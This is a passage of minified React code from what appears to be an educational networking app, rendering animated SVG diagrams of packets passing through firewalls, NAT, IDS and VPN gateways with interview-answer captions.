92`,fill:`none`,xmlns:`http://www.w3.org/2000/svg`,children:[(0,k.jsxs)(`defs`,{children:[(0,k.jsxs)(`linearGradient`,{id:`fwMetal`,x1:`0`,y1:`0`,x2:`120`,y2:`92`,gradientUnits:`userSpaceOnUse`,children:[(0,k.jsx)(`stop`,{offset:`0%`,stopColor:`#1e293b`}),(0,k.jsx)(`stop`,{offset:`50%`,stopColor:`#0f172a`}),(0,k.jsx)(`stop`,{offset:`100%`,stopColor:`#020617`})]}),(0,k.jsxs)(`linearGradient`,{id:`fwPlate`,x1:`12`,y1:`16`,x2:`108`,y2:`76`,gradientUnits:`userSpaceOnUse`,children:[(0,k.jsx)(`stop`,{offset:`0%`,stopColor:`#111827`}),(0,k.jsx)(`stop`,{offset:`100%`,stopColor:`#030712`})]}),(0,k.jsxs)(`linearGradient`,{id:`laserBeam`,x1:`0`,y1:`0`,x2:`1`,y2:`0`,children:[(0,k.jsx)(`stop`,{offset:`0%`,stopColor:`#38bdf8`,stopOpacity:`0`}),(0,k.jsx)(`stop`,{offset:`50%`,stopColor:`#38bdf8`,stopOpacity:`1`}),(0,k.jsx)(`stop`,{offset:`100%`,stopColor:`#38bdf8`,stopOpacity:`0`})]})]}),(0,k.jsx)(`rect`,{x:`8`,y:`14`,width:`104`,height:`64`,rx:`7`,fill:`url(#fwMetal)`,stroke:c,strokeWidth:n?`2.5`:`1.5`}),(0,k.jsx)(`rect`,{x:`2`,y:`20`,width:`6`,height:`52`,rx:`2`,fill:`#334155`,stroke:`#1e293b`,strokeWidth:`1`}),(0,k.jsx)(`circle`,{cx:`5`,cy:`28`,r:`1.8`,fill:`#64748b`,stroke:`#0f172a`,strokeWidth:`0.8`}),(0,k.jsx)(`circle`,{cx:`5`,cy:`64`,r:`1.8`,fill:`#64748b`,stroke:`#0f172a`,strokeWidth:`0.8`}),(0,k.jsx)(`rect`,{x:`112`,y:`20`,width:`6`,height:`52`,rx:`2`,fill:`#334155`,stroke:`#1e293b`,strokeWidth:`1`}),(0,k.jsx)(`circle`,{cx:`115`,cy:`28`,r:`1.8`,fill:`#64748b`,stroke:`#0f172a`,strokeWidth:`0.8`}),(0,k.jsx)(`circle`,{cx:`115`,cy:`64`,r:`1.8`,fill:`#64748b`,stroke:`#0f172a`,strokeWidth:`0.8`}),(0,k.jsx)(`rect`,{x:`14`,y:`20`,width:`92`,height:`52`,rx:`4`,fill:`url(#fwPlate)`,stroke:`#1f2937`,strokeWidth:`1`}),(0,k.jsx)(`line`,{x1:`20`,y1:`26`,x2:`48`,y2:`26`,stroke:`#374151`,strokeWidth:`2`,strokeLinecap:`round`,strokeDasharray:`3 3`}),(0,k.jsx)(`line`,{x1:`20`,y1:`31`,x2:`48`,y2:`31`,stroke:`#374151`,strokeWidth:`2`,strokeLinecap:`round`,strokeDasharray:`3 3`}),(0,k.jsx)(`line`,{x1:`20`,y1:`36`,x2:`48`,y2:`36`,stroke:`#374151`,strokeWidth:`2`,strokeLinecap:`round`,strokeDasharray:`3 3`}),(0,k.jsx)(`path`,{d:`M 60 25 L 75 32 V 46 C 75 56 60 63 60 63 C 60 63 45 56 45 46 V 32 L 60 25 Z`,fill:l,stroke:`#ffffff`,strokeWidth:`2`}),(0,k.jsx)(`path`,{d:`M 55 43 L 59 47 L 66 39`,stroke:`#ffffff`,strokeWidth:`2.5`,strokeLinecap:`round`,strokeLinejoin:`round`}),n&&(0,k.jsxs)(`g`,{className:`animate-pulse`,children:[(0,k.jsx)(`line`,{x1:`18`,y1:`46`,x2:`102`,y2:`46`,stroke:`url(#laserBeam)`,strokeWidth:`2`}),(0,k.jsx)(`line`,{x1:`18`,y1:`46`,x2:`102`,y2:`46`,stroke:`#38bdf8`,strokeWidth:`1`,strokeDasharray:`4 2`})]}),(0,k.jsx)(`rect`,{x:`80`,y:`26`,width:`8`,height:`7`,rx:`1.5`,fill:`#1f2937`,stroke:`#4b5563`,strokeWidth:`0.8`}),(0,k.jsx)(`circle`,{cx:`84`,cy:`24`,r:`1.3`,fill:`#10b981`}),(0,k.jsx)(`rect`,{x:`91`,y:`26`,width:`8`,height:`7`,rx:`1.5`,fill:`#1f2937`,stroke:`#4b5563`,strokeWidth:`0.8`}),(0,k.jsx)(`circle`,{cx:`95`,cy:`24`,r:`1.3`,fill:n?`#38bdf8`:`#64748b`}),(0,k.jsx)(`rect`,{x:`80`,y:`37`,width:`8`,height:`7`,rx:`1.5`,fill:`#1f2937`,stroke:`#4b5563`,strokeWidth:`0.8`}),(0,k.jsx)(`circle`,{cx:`84`,cy:`35`,r:`1.3`,fill:`#10b981`}),(0,k.jsx)(`rect`,{x:`91`,y:`37`,width:`8`,height:`7`,rx:`1.5`,fill:`#1f2937`,stroke:`#4b5563`,strokeWidth:`0.8`}),(0,k.jsx)(`circle`,{cx:`95`,cy:`35`,r:`1.3`,fill:i?`#ef4444`:`#10b981`}),(0,k.jsx)(`circle`,{cx:`22`,cy:`62`,r:`1.8`,fill:`#10b981`}),(0,k.jsx)(`circle`,{cx:`28`,cy:`62`,r:`1.8`,fill:n?`#38bdf8`:`#475569`}),(0,k.jsx)(`circle`,{cx:`34`,cy:`62`,r:`1.8`,fill:i?`#ef4444`:`#10b981`}),(0,k.jsx)(`rect`,{x:`42`,y:`60`,width:`36`,height:`5`,rx:`1`,fill:`#020617`,stroke:`#374151`,strokeWidth:`0.5`}),(0,k.jsx)(`rect`,{x:`44`,y:`61.5`,width:`18`,height:`2`,rx:`0.5`,fill:`#38bdf8`}),(0,k.jsx)(`rect`,{x:`64`,y:`61.5`,width:`10`,height:`2`,rx:`0.5`,fill:`#4ade80`}),(0,k.jsx)(`rect`,{x:`22`,y:`78`,width:`16`,height:`4`,rx:`2`,fill:`#0f172a`}),(0,k.jsx)(`rect`,{x:`82`,y:`78`,width:`16`,height:`4`,rx:`2`,fill:`#0f172a`})]}),(0,k.jsx)(`div`,{className:`absolute -bottom-1 -right-1 p-1 bg-white rounded-full shadow-md border border-slate-200`,children:(0,k.jsx)(gt,{className:`h-4 w-4 ${r?`text-emerald-600`:i?`text-rose-600`:`text-blue-600`}`})})]})}),(0,k.jsx)(`span`,{className:`text-xs font-bold text-slate-900 mt-2`,children:e}),(0,k.jsx)(`span`,{className:`text-[11px] font-mono font-semibold text-slate-700 bg-slate-100 px-2 py-0.5 rounded-md border border-slate-200 mt-0.5 shadow-2xs`,children:o||t})]})},Rt=({label:e,sublabel:t,isActive:n=!1,isSuccess:r=!1,isDanger:i=!1,statusText:a,ip:o})=>(0,k.jsxs)(`div`,{className:`flex flex-col items-center group select-none relative`,children:[a&&(0,k.jsx)(`div`,{className:`mb-2 animate-bounce z-20`,children:(0,k.jsx)(`span`,{className:`px-2.5 py-0.5 rounded-full bg-emerald-600 text-white text-[10px] font-mono font-bold shadow-md`,children:a})}),(0,k.jsx)(`div`,{className:`p-3.5 rounded-full border transition-all duration-300 flex items-center justify-center ${i?`bg-rose-50/95 ring-8 ring-rose-500/25 border-rose-400 shadow-lg shadow-rose-500/15 scale-105`:r?`bg-emerald-50/95 ring-8 ring-emerald-500/25 border-emerald-400 shadow-lg shadow-emerald-500/15 scale-105`:n?`bg-emerald-50/95 ring-8 ring-emerald-500/25 border-emerald-400 shadow-lg shadow-emerald-500/15 scale-105 animate-hardware-pulse`:`bg-slate-50/60 border-slate-200/80 hover:border-slate-300`}`,children:(0,k.jsxs)(`div`,{className:`relative`,children:[(0,k.jsxs)(`svg`,{width:`104`,height:`82`,viewBox:`0 0 120 92`,fill:`none`,xmlns:`http://www.w3.org/2000/svg`,children:[(0,k.jsx)(`defs`,{children:(0,k.jsxs)(`linearGradient`,{id:`serverMetal`,x1:`0`,y1:`0`,x2:`120`,y2:`92`,gradientUnits:`userSpaceOnUse`,children:[(0,k.jsx)(`stop`,{offset:`0%`,stopColor:`#1e293b`}),(0,k.jsx)(`stop`,{offset:`50%`,stopColor:`#0f172a`}),(0,k.jsx)(`stop`,{offset:`100%`,stopColor:`#020617`})]})}),(0,k.jsx)(`rect`,{x:`16`,y:`8`,width:`88`,height:`76`,rx:`5`,fill:`url(#serverMetal)`,stroke:n?`#10b981`:`#475569`,strokeWidth:n?`2.5`:`1.5`}),(0,k.jsx)(`circle`,{cx:`20`,cy:`14`,r:`1.5`,fill:`#64748b`}),(0,k.jsx)(`circle`,{cx:`20`,cy:`78`,r:`1.5`,fill:`#64748b`}),(0,k.jsx)(`circle`,{cx:`100`,cy:`14`,r:`1.5`,fill:`#64748b`}),(0,k.jsx)(`circle`,{cx:`100`,cy:`78`,r:`1.5`,fill:`#64748b`}),(0,k.jsx)(`rect`,{x:`22`,y:`14`,width:`76`,height:`20`,rx:`3`,fill:`#0f172a`,stroke:`#334155`,strokeWidth:`1`}),(0,k.jsx)(`circle`,{cx:`28`,cy:`24`,r:`2.2`,fill:`#10b981`}),(0,k.jsx)(`circle`,{cx:`35`,cy:`24`,r:`2.2`,fill:n?`#38bdf8`:`#10b981`}),(0,k.jsx)(`rect`,{x:`44`,y:`20`,width:`46`,height:`8`,rx:`1.5`,fill:`#1e293b`,stroke:`#475569`,strokeWidth:`0.8`}),(0,k.jsx)(`line`,{x1:`50`,y1:`24`,x2:`72`,y2:`24`,stroke:`#64748b`,strokeWidth:`1.5`,strokeLinecap:`round`}),(0,k.jsx)(`circle`,{cx:`84`,cy:`24`,r:`1.5`,fill:`#10b981`}),(0,k.jsx)(`rect`,{x:`22`,y:`38`,width:`76`,height:`20`,rx:`3`,fill:`#0f172a`,stroke:`#334155`,strokeWidth:`1`}),(0,k.jsx)(`circle`,{cx:`28`,cy:`48`,r:`2.2`,fill:`#10b981`}),(0,k.jsx)(`circle`,{cx:`35`,cy:`48`,r:`2.2`,fill:n?`#10b981`:`#64748b`}),(0,k.jsx)(`rect`,{x:`44`,y:`44`,width:`46`,height:`8`,rx:`1.5`,fill:`#1e293b`,stroke:`#475569`,strokeWidth:`0.8`}),(0,k.jsx)(`line`,{x1:`50`,y1:`48`,x2:`72`,y2:`48`,stroke:`#64748b`,strokeWidth:`1.5`,strokeLinecap:`round`}),(0,k.jsx)(`circle`,{cx:`84`,cy:`48`,r:`1.5`,fill:i?`#ef4444`:`#10b981`}),(0,k.jsx)(`rect`,{x:`22`,y:`62`,width:`76`,height:`18`,rx:`3`,fill:`#0f172a`,stroke:`#334155`,strokeWidth:`1`}),(0,k.jsx)(`circle`,{cx:`28`,cy:`71`,r:`2.2`,fill:`#10b981`}),(0,k.jsx)(`line`,{x1:`44`,y1:`67`,x2:`78`,y2:`67`,stroke:`#475569`,strokeWidth:`1.5`,strokeLinecap:`round`,strokeDasharray:`3 3`}),(0,k.jsx)(`line`,{x1:`44`,y1:`74`,x2:`78`,y2:`74`,stroke:`#475569`,strokeWidth:`1.5`,strokeLinecap:`round`,strokeDasharray:`3 3`}),(0,k.jsx)(`circle`,{cx:`86`,cy:`71`,r:`2.5`,fill:`#10b981`})]}),n&&(0,k.jsxs)(`span`,{className:`absolute top-1 right-1 flex h-3.5 w-3.5`,children:[(0,k.jsx)(`span`,{className:`animate-ping absolute inline-flex h-full w-full rounded-full bg-emerald-400 opacity-75`}),(0,k.jsx)(`span`,{className:`relative inline-flex rounded-full h-3.5 w-3.5 bg-emerald-600 shadow-md`})]})]})}),(0,k.jsx)(`span`,{className:`text-xs font-bold text-slate-900 mt-2`,children:e}),(0,k.jsx)(`span`,{className:`text-[11px] font-mono font-semibold text-emerald-700 bg-emerald-50 px-2 py-0.5 rounded-md border border-emerald-200 mt-0.5 shadow-2xs`,children:o||t})]}),zt=({question:e,currentStepIndex:t,step:n,totalSteps:r})=>{let i=(0,_.useRef)(null),a=(0,_.useRef)(null),o=(0,_.useRef)(null),s=(0,_.useRef)(null),c=(0,_.useRef)(null),l=(0,_.useRef)(null),u=t>=1,d=t>=2,f=t<=1,p=t>=2&&t<r-2,m=t>=r-2,h=n.decision===`ALLOW`||n.decision===`TRANSLATE`||n.decision===`ENCRYPT`,g=n.decision===`DENY`||n.decision===`DROP`,v=n.decision===`INSPECT`||t>=2&&!m&&!g,y=g||e.id===14||e.id===15||n.label.toLowerCase().includes(`malicious`)||n.label.toLowerCase().includes(`threat`)||n.label.toLowerCase().includes(`unauthorized`)||n.label.toLowerCase().includes(`ssh`),b=n.packetInfo?`${n.packetInfo.srcIp}${n.packetInfo.srcPort?`:${n.packetInfo.srcPort}`:``}`:`10.0.0.25:52410`,x=n.sourceNode||(e.visualType.includes(`vpn`)?`Remote Client`:`Source Client`),S=n.packetInfo?`${n.packetInfo.dstIp}${n.packetInfo.dstPort?`:${n.packetInfo.dstPort}`:``}`:`203.0.113.50:443`,ee=n.targetNode||(e.visualType.includes(`segmentation`)?`Database Server`:`Target Server`),te=e.visualType.includes(`nat`)||e.id===11||e.id===12||e.id===13?{label:`NAT Gateway`,sub:`IP & Port Translation`}:e.visualType.includes(`ngfw`)||e.id===4?{label:`NGFW Inspection`,sub:`L7 App-ID & DPI`}:e.visualType.includes(`stateful`)||e.id===3?{label:`Stateful Firewall`,sub:`Session State Table`}:e.visualType.includes(`ids`)||e.id===14||e.id===15?{label:`IPS / IDS Engine`,sub:`Signature & Anomaly Sensor`}:e.visualType.includes(`ipsec`)||e.visualType.includes(`vpn`)||e.id===18||e.id===19?{label:`IPsec Gateway`,sub:`VPN Tunnel Encapsulation`}:e.visualType.includes(`tls`)||e.id===20?{label:`TLS Decryptor`,sub:`Session Key Negotiation`}:{label:`Firewall Gateway`,sub:`Security Rule Engine`},C=n.packetInfo||{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`,payloadSummary:`HTTPS Request Payload`};return(0,_.useEffect)(()=>{let e=null;if(t===0?e=a.current:t===1?e=o.current:t>=2&&t<r-2?e=s.current:t>=r-2&&(e=g?s.current:l.current||s.current),e&&i.current){let t=i.current,n=e.offsetTop;e.offsetHeight;let r=t.clientHeight,a=Math.max(0,n-r/3);t.scrollTo({top:a,behavior:`smooth`})}},[t,g,r]),(0,k.jsxs)(`div`,{ref:i,className:`w-full flex flex-col items-center py-4 px-2 bg-gradient-to-b from-slate-50/90 via-white to-slate-50/90 rounded-2xl border border-slate-200/90 shadow-2xs min-h-[420px] max-h-[620px] overflow-y-auto no-scrollbar relative`,children:[(0,k.jsxs)(`div`,{className:`sticky top-0 z-30 w-full flex flex-col gap-1.5 pb-2 mb-3 bg-white/95 backdrop-blur-xs border-b border-slate-200 px-2 text-xs`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-1.5 font-bold text-slate-800`,children:[(0,k.jsx)(nt,{className:`h-3.5 w-3.5 text-blue-600 animate-pulse`}),(0,k.jsx)(`span`,{className:`text-[11px] truncate max-w-[170px]`,children:g?`PACKET BLOCKED`:h&&m?`DELIVERED TO TARGET`:v?`INSPECTING RULES`:`TRANSMITTING`})]}),(0,k.jsx)(`div`,{className:`flex items-center gap-1`,children:(0,k.jsxs)(`span`,{className:`text-[10px] font-mono bg-blue-50 text-blue-700 px-2 py-0.5 rounded-md font-semibold border border-blue-200`,children:[`Step `,t+1,` / `,r]})})]}),(0,k.jsxs)(`div`,{className:`p-2.5 rounded-lg bg-blue-50/90 border border-blue-100 text-slate-800 flex items-start gap-1.5 shadow-2xs`,children:[(0,k.jsx)(`span`,{className:`px-1.5 py-0.5 rounded bg-blue-100 border border-blue-200 text-blue-800 font-mono text-[9px] font-bold uppercase shrink-0 mt-0.5`,children:`Answer`}),(0,k.jsx)(`p`,{className:`text-[11px] text-slate-700 font-semibold leading-tight`,children:n.interviewTakeaway||e.elevatorPitch})]})]}),(0,k.jsx)(`div`,{ref:a,className:`relative z-10 flex flex-col items-center animate-fadeIn`,children:(0,k.jsx)(It,{label:x,sublabel:b,ip:b,isActive:f,isSuccess:h&&m,statusText:f?`STEP 1: ORIGIN`:void 0})}),u&&(0,k.jsxs)(`div`,{ref:o,className:`relative w-full max-w-xs py-2 flex flex-col items-center animate-fadeIn`,children:[(0,k.jsx)(`div`,{className:`w-1.5 h-10 bg-slate-200 rounded-full relative overflow-hidden`,children:(0,k.jsx)(`div`,{className:`w-full rounded-full transition-all duration-500 ${y?`bg-rose-500 shadow-sm`:`bg-blue-500 shadow-sm`}`,style:{height:t>=1?`100%`:`30%`,boxShadow:y?`0 0 10px rgba(239, 68, 68, 0.6)`:`0 0 10px rgba(59, 130, 246, 0.6)`}})}),(0,k.jsxs)(`div`,{className:`w-full max-w-[270px] my-1 p-2.5 rounded-xl border shadow-md transition-all duration-300 z-20 ${y?`bg-rose-50/95 border-rose-400 ring-2 ring-rose-400/20`:f?`bg-blue-50/95 border-blue-400 ring-2 ring-blue-400/20`:p?`bg-amber-50/95 border-amber-400 ring-2 ring-amber-400/20`:`bg-white border-slate-200`}`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between text-[11px] font-mono font-bold border-b border-slate-200/80 pb-1 mb-1`,children:[(0,k.jsx)(`span`,{className:`flex items-center gap-1 text-slate-800`,children:y?(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(ft,{className:`h-3 w-3 text-rose-600 animate-pulse`}),(0,k.jsx)(`span`,{className:`text-rose-700 font-bold`,children:`SUSPICIOUS / INBOUND`})]}):(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(pe,{className:`h-3 w-3 text-blue-600 animate-bounce`}),(0,k.jsx)(`span`,{children:`PACKET IN TRANSIT`})]})}),(0,k.jsxs)(`span`,{className:`px-1.5 py-0.5 rounded text-white text-[10px] font-bold ${y?`bg-rose-600`:`bg-blue-600`}`,children:[C.protocol,` `,C.flags?`[${C.flags}]`:``]})]}),(0,k.jsxs)(`div`,{className:`grid grid-cols-2 gap-1 text-[10px] font-mono`,children:[(0,k.jsxs)(`div`,{children:[(0,k.jsx)(`span`,{className:`text-slate-400`,children:`SRC: `}),(0,k.jsxs)(`span`,{className:`text-blue-700 font-bold`,children:[C.srcIp,`:`,C.srcPort||`52410`]})]}),(0,k.jsxs)(`div`,{children:[(0,k.jsx)(`span`,{className:`text-slate-400`,children:`DST: `}),(0,k.jsxs)(`span`,{className:`text-indigo-700 font-bold`,children:[C.dstIp,`:`,C.dstPort||`443`]})]})]}),C.payloadSummary&&(0,k.jsxs)(`p`,{className:`text-[10px] text-slate-600 font-medium truncate mt-1 pt-1 border-t border-slate-100`,children:[`Payload: `,C.payloadSummary]})]})]}),(0,k.jsxs)(`div`,{ref:s,className:`relative z-10 flex flex-col items-center w-full max-w-xs animate-fadeIn`,children:[(0,k.jsx)(Lt,{label:te.label,sublabel:te.sub,isActive:v||p,isSuccess:h,isDanger:g,statusText:g?`✕ BLOCKED AT FIREWALL`:h?`VERDICT: ALLOWED ✓`:v?`INSPECTING RULES...`:void 0}),g&&(0,k.jsxs)(`div`,{className:`w-full mt-2 p-2 rounded-xl bg-rose-100/90 border border-rose-300 text-center animate-pop-in`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-center gap-1.5 text-xs font-mono font-bold text-rose-800`,children:[(0,k.jsx)(ke,{className:`h-4 w-4 text-rose-600 shrink-0`}),(0,k.jsx)(`span`,{children:`PACKET BLOCKED & HALTED AT FIREWALL`})]}),(0,k.jsx)(`p`,{className:`text-[10px] text-rose-700 mt-0.5`,children:`Traffic cannot cross the security boundary. Server remains safe.`})]}),(0,k.jsxs)(`div`,{className:`w-full mt-2.5 rounded-xl border p-3 text-xs shadow-xs transition-all ${h?`bg-emerald-50/80 border-emerald-300 text-emerald-950`:g?`bg-rose-50/80 border-rose-300 text-rose-950`:`bg-white border-slate-200 text-slate-800`}`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between border-b border-slate-100 pb-1 mb-1.5`,children:[(0,k.jsxs)(`span`,{className:`font-mono text-[11px] font-bold flex items-center gap-1 text-slate-800`,children:[(0,k.jsx)(de,{className:`h-3.5 w-3.5 text-blue-600`}),n.label]}),(0,k.jsx)(`span`,{className:`text-[9px] font-mono font-bold px-1.5 py-0.5 rounded ${h?`bg-emerald-100 text-emerald-800`:g?`bg-rose-100 text-rose-800`:`bg-blue-100 text-blue-800`}`,children:n.decision||(v?`INSPECT`:`READY`)})]}),(0,k.jsx)(`p`,{className:`text-[11px] text-slate-600 leading-snug`,children:n.whatIsHappening}),n.ruleMatched&&(0,k.jsxs)(`div`,{className:`mt-2 p-1.5 rounded-lg bg-slate-50 border border-slate-200 text-[10px] font-mono flex items-center justify-between`,children:[(0,k.jsx)(`span`,{className:`text-slate-500 font-semibold`,children:`Matched Rule:`}),(0,k.jsx)(`span`,{className:`font-bold truncate max-w-[140px] ${g?`text-rose-700`:`text-blue-700`}`,children:n.ruleMatched})]}),n.natTable&&n.natTable.length>0&&(0,k.jsxs)(`div`,{className:`mt-2 p-1.5 rounded-lg bg-slate-50 border border-slate-200 text-[10px] font-mono`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between text-slate-500 font-bold uppercase text-[9px] mb-0.5`,children:[(0,k.jsx)(`span`,{children:`NAT Translation Entry`}),(0,k.jsx)(`span`,{className:`text-emerald-700 font-bold`,children:`ACTIVE`})]}),(0,k.jsxs)(`p`,{className:`text-slate-700 font-semibold truncate`,children:[n.natTable[0].insideLocal,` → `,(0,k.jsx)(`span`,{className:`text-indigo-700 font-bold`,children:n.natTable[0].insideGlobal})]})]})]})]}),d&&(0,k.jsxs)(`div`,{ref:c,className:`relative w-full max-w-xs py-2 flex flex-col items-center animate-fadeIn`,children:[(0,k.jsx)(`div`,{className:`w-1.5 h-10 bg-slate-200 rounded-full relative overflow-hidden`,children:(0,k.jsx)(`div`,{className:`w-full rounded-full transition-all duration-500 ${h?`bg-emerald-500 shadow-sm`:g?`bg-rose-500 shadow-sm`:`bg-slate-300`}`,style:{height:m||h?`100%`:g?`20%`:`15%`,boxShadow:h?`0 0 10px rgba(16, 185, 129, 0.6)`:void 0}})}),(0,k.jsx)(`div`,{className:`w-full max-w-[270px] my-1 p-2 rounded-xl border text-center transition-all duration-300 z-20 ${h?`bg-emerald-50 border-emerald-300 text-emerald-900 font-bold shadow-sm`:g?`bg-rose-50 border-rose-300 text-rose-900 font-bold shadow-sm`:`bg-white border-slate-200 text-slate-500 text-xs`}`,children:h?(0,k.jsxs)(`div`,{className:`flex items-center justify-center gap-1.5 text-xs font-mono text-emerald-800`,children:[(0,k.jsx)(Te,{className:`h-4 w-4 text-emerald-600 shrink-0`}),(0,k.jsx)(`span`,{children:`FORWARDED TO SERVER ✓`})]}):g?(0,k.jsxs)(`div`,{className:`flex items-center justify-center gap-1.5 text-xs font-mono text-rose-800`,children:[(0,k.jsx)(ke,{className:`h-4 w-4 text-rose-600 shrink-0`}),(0,k.jsx)(`span`,{children:`BLOCKED — NO EGRESS TRAFFIC ✕`})]}):(0,k.jsxs)(`div`,{className:`flex items-center justify-center gap-1.5 text-[11px] font-mono text-slate-500`,children:[(0,k.jsx)(pe,{className:`h-3.5 w-3.5 animate-bounce text-slate-400`}),(0,k.jsx)(`span`,{children:`Verifying Destination Route...`})]})})]}),(0,k.jsx)(`div`,{ref:l,className:`relative z-10 flex flex-col items-center animate-fadeIn`,children:(0,k.jsx)(Rt,{label:ee,sublabel:S,ip:S,isActive:h&&m,isSuccess:h&&m,isDanger:g&&m,statusText:h&&m?`DELIVERED TO TARGET ✓`:g?`UNREACHABLE / NO PACKET`:`WAITING...`})}),n.interviewTakeaway&&(0,k.jsxs)(`div`,{className:`w-full max-w-xs mt-3 p-3 rounded-xl bg-blue-50/90 border border-blue-200 text-xs animate-fadeIn`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-1.5 font-bold text-blue-950 mb-1`,children:[(0,k.jsx)(Ot,{className:`h-3.5 w-3.5 text-blue-600 shrink-0`}),(0,k.jsx)(`span`,{children:`Interview Answer Point`})]}),(0,k.jsx)(`p`,{className:`text-[11px] text-blue-900 leading-relaxed`,children:n.interviewTakeaway})]})]})},A=({x1:e,y1:t,x2:n,y2:r,color:i=`#1e293b`,strokeWidth:a=3,dashed:o=!1,reverse:s=!1,blocked:c=!1,label:l,curveOffset:u=0})=>{let d=(e+n)/2,f=(t+r)/2+u,p=c?`#ef4444`:i,m=`arrow-${Math.round(e)}-${Math.round(t)}-${Math.round(n)}-${Math.round(r)}-${p.replace(`#`,``)}`;return(0,k.jsxs)(`g`,{children:[(0,k.jsxs)(`defs`,{children:[(0,k.jsx)(`marker`,{id:m,viewBox:`0 0 10 10`,refX:`8`,refY:`5`,markerWidth:`7`,markerHeight:`7`,orient:`auto-start-reverse`,children:(0,k.jsx)(`path`,{d:`M 0 1.5 L 9 5 L 0 8.5 z`,fill:p})}),(0,k.jsx)(`filter`,{id:`cableGlow`,x:`-20%`,y:`-20%`,width:`140%`,height:`140%`,children:(0,k.jsx)(`feDropShadow`,{dx:`0`,dy:`1`,stdDeviation:`2`,floodColor:p,floodOpacity:`0.3`})})]}),(0,k.jsx)(`path`,{d:u===0?`M ${e} ${t} L ${n} ${r}`:`M ${e} ${t} Q ${d} ${f} ${n} ${r}`,fill:`none`,stroke:`#cbd5e1`,strokeWidth:a+2.5,strokeLinecap:`round`}),(0,k.jsx)(`path`,{d:u===0?`M ${e} ${t} L ${n} ${r}`:`M ${e} ${t} Q ${d} ${f} ${n} ${r}`,fill:`none`,stroke:p,strokeWidth:a,strokeLinecap:`round`,strokeDasharray:o?`6 4`:void 0,markerEnd:`url(#${m})`,filter:`url(#cableGlow)`,className:s?`animate-flow-reverse`:`animate-flow-forward`}),l&&(0,k.jsxs)(`g`,{transform:`translate(${d}, ${f-13})`,children:[(0,k.jsx)(`rect`,{x:`-48`,y:`-10`,width:`96`,height:`20`,rx:`10`,fill:`#ffffff`,stroke:p,strokeWidth:`1.5`,style:{filter:`drop-shadow(0 3px 6px rgba(0,0,0,0.14))`}}),(0,k.jsx)(`text`,{x:`0`,y:`3.5`,textAnchor:`middle`,fill:p,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:l})]})]})},j=({cx:e,cy:t,title:n=`DATA PACKET`,protocol:r=`TCP`,port:i=`443`,src:a=`10.0.0.25`,dst:o=`SERVER`,flags:s,status:c=`NORMAL`,isEncrypted:l=!1,scale:u=1})=>{let d={NORMAL:{border:`#2563eb`,bg:`#ffffff`,headerBg:`#eff6ff`,text:`#1e3a8a`,badgeBg:`#dbeafe`,badgeText:`#1d4ed8`},ALLOW:{border:`#10b981`,bg:`#ffffff`,headerBg:`#ecfdf5`,text:`#065f46`,badgeBg:`#d1fae5`,badgeText:`#047857`},DENY:{border:`#ef4444`,bg:`#ffffff`,headerBg:`#fef2f2`,text:`#991b1b`,badgeBg:`#fee2e2`,badgeText:`#b91c1c`},INSPECT:{border:`#f59e0b`,bg:`#ffffff`,headerBg:`#fef3c7`,text:`#92400e`,badgeBg:`#fef3c7`,badgeText:`#b45309`},ENCRYPT:{border:`#8b5cf6`,bg:`#ffffff`,headerBg:`#faf5ff`,text:`#6b21a8`,badgeBg:`#f3e8ff`,badgeText:`#7e22ce`},DECRYPT:{border:`#06b6d4`,bg:`#ffffff`,headerBg:`#ecfeff`,text:`#155e75`,badgeBg:`#cffafe`,badgeText:`#0e7490`},THREAT:{border:`#dc2626`,bg:`#ffffff`,headerBg:`#fef2f2`,text:`#991b1b`,badgeBg:`#fee2e2`,badgeText:`#991b1b`}},f=d[c]||d.NORMAL;return(0,k.jsxs)(`g`,{transform:`translate(${e}, ${t}) scale(${u})`,className:`animate-pop-in select-none`,children:[(0,k.jsx)(`rect`,{x:`-48`,y:`-22`,width:`96`,height:`44`,rx:`6`,fill:f.bg,stroke:f.border,strokeWidth:`2`,style:{filter:`drop-shadow(0 4px 10px ${f.border}40)`}}),(0,k.jsx)(`rect`,{x:`-47`,y:`-21`,width:`94`,height:`14`,rx:`5`,fill:f.headerBg}),(0,k.jsx)(`line`,{x1:`-47`,y1:`-7`,x2:`47`,y2:`-7`,stroke:f.border,strokeWidth:`0.8`,strokeOpacity:`0.4`}),(0,k.jsx)(`text`,{x:`0`,y:`-11`,textAnchor:`middle`,fill:f.text,fontSize:`7.5`,fontWeight:`800`,fontFamily:`sans-serif`,letterSpacing:`0.4`,children:l?`🔒 ENCRYPTED`:n}),(0,k.jsxs)(`text`,{x:`-40`,y:`4`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:[r,` :`,i]}),s&&(0,k.jsxs)(`text`,{x:`40`,y:`4`,textAnchor:`end`,fill:`#2563eb`,fontSize:`7`,fontWeight:`bold`,fontFamily:`monospace`,children:[`[`,s,`]`]}),(0,k.jsxs)(`text`,{x:`0`,y:`15`,textAnchor:`middle`,fill:`#475569`,fontSize:`7`,fontWeight:`bold`,fontFamily:`monospace`,children:[a,` → `,o]}),c!==`NORMAL`&&(0,k.jsxs)(`g`,{transform:`translate(38, -22)`,children:[(0,k.jsx)(`rect`,{x:`-16`,y:`-6`,width:`32`,height:`12`,rx:`6`,fill:f.border,style:{filter:`drop-shadow(0 1px 3px rgba(0,0,0,0.25))`}}),(0,k.jsx)(`text`,{x:`0`,y:`3`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontWeight:`bold`,fontFamily:`sans-serif`,children:c})]})]})},M=({cx:e,cy:t,label:n,ip:r,active:i,success:a,danger:o})=>{let s=o?`#ef4444`:a?`#10b981`:i?`#2563eb`:`#64748b`,c=o?`#ef444425`:a?`#10b98125`:i?`#2563eb25`:`transparent`;return(0,k.jsxs)(`g`,{transform:`translate(${e}, 